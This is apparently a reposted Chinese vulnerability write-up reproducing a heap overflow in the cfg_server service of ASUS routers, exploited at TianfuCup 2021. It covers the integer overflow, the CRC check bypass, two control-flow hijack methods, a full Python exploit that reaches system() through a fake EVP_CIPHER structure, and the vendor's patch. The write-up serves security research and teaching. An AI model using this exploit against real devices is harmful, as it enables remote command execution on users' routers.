2021 TianFuCup ASUS HeapOverflow
2023-12-25 08:3:53 Author: ChaMd5安全团队(查看原文) 阅读量:2 收藏

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组

前言

漏洞分析大作业需要分析一个堆溢出,正好想起来21年天府杯攻破华硕所利用的堆溢出一直没有复现,于是就复现了一下,并记录于此。

环境准备

我手里有华硕的一个真机,不过是TUF-AX5400,型号是3.0.0.4.386_46061。这个版本中堆溢出漏洞已被修复,并且官网也无法下载到这个系列的存在漏洞的旧版本,于是我对cfg_server进行了patch,使其可以正常走到漏洞点,上传至设备中手动启动。

漏洞分析

漏洞存在于cfg_server中,这个程序会监听7788端口。接收的数据包的格式类似TLV,即(Type-Length-Value),不过多了一个check字段来检查数据合法性。会根据Type,来选择相对应的处理函数。

Type0x28时,会进入cm_processREQ_GROUPID函数,这个函数中存在如下调用链cm_packetProcess->aes_decrypt,来解密接收到的数据。整数溢出漏洞就出现在aes_decrypt中(当然也有很多其他Type所对应的函数会调用这个函数)。它的定义如下:

char *__fastcall aes_decrypt(int key, int a2, unsigned int length, _DWORD *a4)
{
  ...
  ctx = EVP_CIPHER_CTX_new();
  if ( !ctx )
  {
    printf("%s(%d):Failed to EVP_CIPHER_CTX_new() !!\n""aes_decrypt"768);
    return 0;
  }
  v9 = EVP_aes_256_ecb();
  v10 = (char *)EVP_DecryptInit_ex(ctx, v9, 0, key, 0);
  if ( v10 )
  {
    *a4 = 0;
    v11 = EVP_CIPHER_CTX_block_size(ctx) + length;
    v12 = (char *)malloc(v11);
    v10 = v12;
    if ( v12 )
    {
      memset(v12, 0, v11);
      out_data_ptr = v10;
      for ( i = length; ; i -= 0x10 )
      {
        in_data_ptr = a2 + length - i;
        if ( i <= 0x10 )
          break;
        if ( !EVP_DecryptUpdate(ctx, out_data_ptr, tmp_out_len, in_data_ptr, 16) )
        {
          printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n""aes_decrypt"795);
          EVP_CIPHER_CTX_free(ctx);
          free(v10);
          return 0;
        }
        out_data_ptr += tmp_out_len[0];
        *a4 += tmp_out_len[0];
      }
      if ( i )
      {
        if ( !EVP_DecryptUpdate(ctx, out_data_ptr, tmp_out_len, in_data_ptr, i) )
        {
          printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n""aes_decrypt"811);
          EVP_CIPHER_CTX_free(ctx);
          free(v10);
          return 0;
        }
        out_data_ptr += tmp_out_len[0];
        *a4 += tmp_out_len[0];
      }
      if ( !EVP_DecryptFinal_ex(ctx, out_data_ptr, tmp_out_len) )
      {
        printf("%s(%d):Failed to EVP_DecryptFinal_ex()!!\n""aes_decrypt"822);
        EVP_CIPHER_CTX_free(ctx);
        free(v10);
        return 0;
      }
      *a4 += tmp_out_len[0];
    }
    ...
  }
  ...
  EVP_CIPHER_CTX_free(ctx);
  return v10;
}

首先调用EVP_CIPHER_CTX_newctx结构体分配内存。下面就是对数据进行aes解密的过程。解密前会为数据分配内存,分配的大小是通过EVP_CIPHER_CTX_block_size(ctx) + length计算得出的,但是下面解密的时候循环次数又是由length控制。这里的length可以被我们控制,并且经过调试可以得知EVP_CIPHER_CTX_block_size(ctx)的值是0x10。如果我们控制length=0xffffffff就可以导致整数溢出。使得malloc在分配一块较小内存的同时,会拷贝很长的数据到堆上,从而导致堆溢出。检查check字段合法性的函数定义如下。

unsigned int __fastcall check(unsigned int result, char *a2, int a3)
{
  char v3; // t1

  while ( --a3 >= 0 )
  {
    v3 = *a2++;
    result = CRC32_Table[(unsigned __int8)(v3 ^ result)] ^ (result >> 8);
  }
  return result;
}

我们控制length=0xffffffff,由于小于0,则会直接返回,也就是我们把check字段设置为0即可通过数据合法性检查。

漏洞利用

可以溢出那么就寻找结构体指针,尝试控制程序执行流。参考了@CataLpa师傅的文章和@CQ师傅的文章。知道了有这两个可以劫持的地方。

首先看一下我们所涉及到的两个结构体:

typedef struct evp_cipher_ctx_st
{

    const EVP_CIPHER *cipher;
    ENGINE *engine;   
    int encrypt;
    int buf_len;
    unsigned char oiv[EVP_MAX_IV_LENGTH];
    unsigned char iv[EVP_MAX_IV_LENGTH];
    unsigned char buf[EVP_MAX_BLOCK_LENGTH];
    int num;
    void *app_data;
    int key_len;
    unsigned long flags;
    void *cipher_data;
    int final_used;
    int block_mask;
    unsigned char final[EVP_MAX_BLOCK_LENGTH];
} EVP_CIPHER_CTX; 

typedef struct evp_cipher_st
{

    int nid;
    int block_size;
    int key_len;
    int iv_len;       
    unsigned long flags;
    int (*init)(EVP_CIPHER_CTX *ctx, const unsigned char *key, const unsigned char *iv, int enc);
    int (*do_cipher)(EVP_CIPHER_CTX *ctx, unsigned char *out, const unsigned char *in, unsigned int inl);
    int (*cleanup)(EVP_CIPHER_CTX *);
    int ctx_size;
    int (*set_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *);
    int (*get_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *);
    int (*ctrl)(EVP_CIPHER_CTX *, int type, int arg, void *ptr);
    void *app_data;
}EVP_CIPHER; 

方法一

一个是劫持EVP_CIPHER_CTX结构体中的cipher指针。在调用EVP_DecryptUpdate函数时,会调用cipher中的do_cipher来进行具体的解密。如果我们可以伪造一个EVP_CIPHER结构体,就可以实现控制程序的执行流。这个加密指针的调用伪代码如下:

v12 = *ctx;
(*(int (__fastcall **)(_DWORD *, char *, char *, int))(v12 + 0x18))(ctx, out, in, in_len);

我们想要实现这样的劫持需要控制堆布局如下:

|   out_ptr    |
|EVP_CIPHER_CTX|

也就是我们解密后存放的数据的缓冲区被分配在EVP_CIPHER_CTX结构体缓冲区之前,这样就可以覆盖EVP_CIPHER_CTXcipher,实现对EVP_CIPHER的伪造,从而控制程序执行流。

方法二

还有一个是劫持解密函数中所涉及的指针。方法一说到调用EVP_DecryptUpdate函数时,会调用cipher中的do_cipher来进行具体的解密。进一步调试可知do_cipher的伪代码如下:

int __fastcall do_cipher(int ctx, int out, int in, unsigned int in_len)
{
  unsigned int v8; // r6
  int cipher_data; // r0
  unsigned int v10; // r9
  int v11; // r7
  int v12; // r4
  int v13; // r0

  v8 = EVP_CIPHER_CTX_block_size(ctx);
  cipher_data = EVP_CIPHER_CTX_get_cipher_data(ctx);
  if ( v8 <= in_len )
  {
    v10 = in_len - v8;
    v11 = cipher_data;
    v12 = in;
    do
    {
      v13 = v12;
      v12 += v8;
      (*(void (__fastcall **)(intintint))(v11 + 0xF8))(v13, out, v11);
      out += v8;
    }
    while ( v10 >= v12 - in );
  }
  return 1;
}

int __fastcall EVP_CIPHER_CTX_get_cipher_data(int ctx)
{
  return *(_DWORD *)(ctx + 0x60);
}

显而易见,这是先获取了EVP_CIPHER_CTX结构体偏移为0x60地方的cipher_data指针(指向某个结构体,用来存放加解密相关数据)。再调用这个结构体偏移为0xF8处的函数指针AES_decrypt。经过调试可知,cipher_data指针总是指向我们的堆上。如果我们可以覆盖cipher_data指针偏移为0xF8处的函数指针AES_decrypt。那么也可以实现程序执行流的控制。

我们想要实现这样的劫持需要控制堆布局如下:

|   out_ptr    |
|  cipher_data |
|EVP_CIPHER_CTX|

|EVP_CIPHER_CTX|
|   out_ptr    |
|  cipher_data |

即我们不能破坏EVP_CIPHER_CTX结构体,以免无法调用cipher中的do_cipher,同时需要可以覆盖到AES_decrypt

exp

我自己写exp的时候是尝试的第一种劫持方式。我构造出了如下布局:

► 0x1e6bc <aes_decrypt+260>  bl      #EVP_DecryptUpdate@plt     <EVP_DecryptUpdate@plt> 
        ctx: 0xb6500978 —▸ 0xb6e9bb1c ◂— 0x1aa
        out: 0xb6500760 ◂— 0x0

这里值得一提的是,虽然开了aslr基地址会变化,但是经过我调试发现堆基地址大概率是0xb6300000,0xb6400000,0xb6500000。(可能因为是多线程的缘故,会为新线程准备一个堆基地址,这个地址变化不大)。我就把0xb6500760当作了EVP_CIPHER结构体的开头。之后覆盖EVP_CIPHER_CTX结构体中的cipher0xb6500760即可。之后我又遇到了一个问题,就是在调用这个函数指针时,它的第一个参数是EVP_CIPHER_CTX结构体指针。由于我们每次只解密16字节,并且在覆盖cipher之后就无法继续解密,使得我这种布局只可以EVP_CIPHER_CTX结构体指针后面的控制4字节为我们想要执行的命令,这远远无法实现命令执行。经过替换gadget之后,最后也只构造出控制8字节的方式,可以勉强执行个reboot或者echo 1(:triumph:。

   0x528cc    mov    r0, r6
   0x528d0    ldr    r3, [r5, #4]
   0x528d4    ldr    r2, [sp, #0x38]
   0x528d8    rev    r1, r1
 ► 0x528dc    blx    r3                            <system@plt>
        command: 0xb6500970 ◂— 'echo 66'

而第二种劫持方式的第一个参数为in,应该可以控制相当长的数据。不过由于更改堆布局很麻烦,笔者也就没有进一步探究,感兴趣的读者可以自行尝试。

以下是笔者第一种劫持方式的exp。

import socket
import struct
from Crypto.Cipher import AES

p32 = lambda x: struct.pack("<I", x)
p32b = lambda x: struct.pack(">I", x)

def aes_encode(data, key):
    aes = AES.new(key, AES.MODE_ECB)
    return aes.encrypt(data)

def make_tlv_request(_tlv_type, _tlv_len, _tlv_crc, _tlv_data=b""):
    return p32b(_tlv_type) + p32b(_tlv_len) + p32b(_tlv_crc) + _tlv_data

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.50.1"7788))
tlv_type = 0x5
tlv_len = 0xffffffff
tlv_crc = 0
request = make_tlv_request(tlv_type, tlv_len, tlv_crc)
s.send(request)
s.close()

"""
.text:000528CC 06 00 A0 E1                   MOV             R0, R6
.text:000528D0 04 30 95 E5                   LDR             R3, [R5,#4]
.text:000528D4 38 20 9D E5                   LDR             R2, [SP,#0x38+arg_0]
.text:000528D8 31 1F BF E6                   REV             R1, R1
.text:000528DC 33 FF 2F E1                   BLX             R3
"""

gadget_add = 0x000528CC
system_plt = 0x00014754

# 0xb6500760: fake cipher

payload = p32(0x000001aa) + p32(0x00000010) + p32(0x00000020) + p32(0x00000000)
payload+= p32(0x00100000) + p32(0xb6e2f480) + p32(gadget_add) + p32(0x00000000)
payload+= p32(0x00000100) + p32(0x00000000) + p32(0x00000000)
payload = payload.ljust(0x210b"a")
payload+= b"echo 66\x00"
payload = payload.ljust(0x218b"a")
payload+= p32(0xb6500760)
payload+= p32(system_plt)
payload = payload.ljust(0x280b"a")

tlv_type = 0x28
tlv_len = 0xffffffff
tlv_crc = 0
tlv_data = aes_encode(payload, b"12345678000000000000000000000000")
request = make_tlv_request(tlv_type, tlv_len, tlv_crc, tlv_data)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.50.1"7788))
s.sendall(request)
s.close()

补丁分析

if ( v15 <= recv_len )
    {
      tlv_type = *tlv_buf;
      tlv_len = tlv_buf[1];
      tlv_crc = tlv_buf[2];
      if ( recv_len - 12 != bswap32(tlv_len) )
      {
      ...
          return ;
      

cm_packetProcess函数中,加入了对tlv_len的检查,即检查接收数据长度的减去12是否与tlv_len相等,不等则直接返回。这样就可以避免tlv_len被控制为一个很大的值,从而避免整数溢出。

参考链接

https://wzt.ac.cn/2021/11/02/TFC2021-AX56U/

https://cq674350529.github.io/2023/08/05/Analyzing-the-Vulnerability-in-ASUS-Router-maybe-from-TFC2021/

- END -


文章来源: http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247509838&idx=1&sn=a58f7957749032032e509324b4afe6c2&chksm=e92bcb3b1c99e528d7876ee10c96b01cf961ff8bb0e27f454525b5a26e3a4cc930f62f58e6ee&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh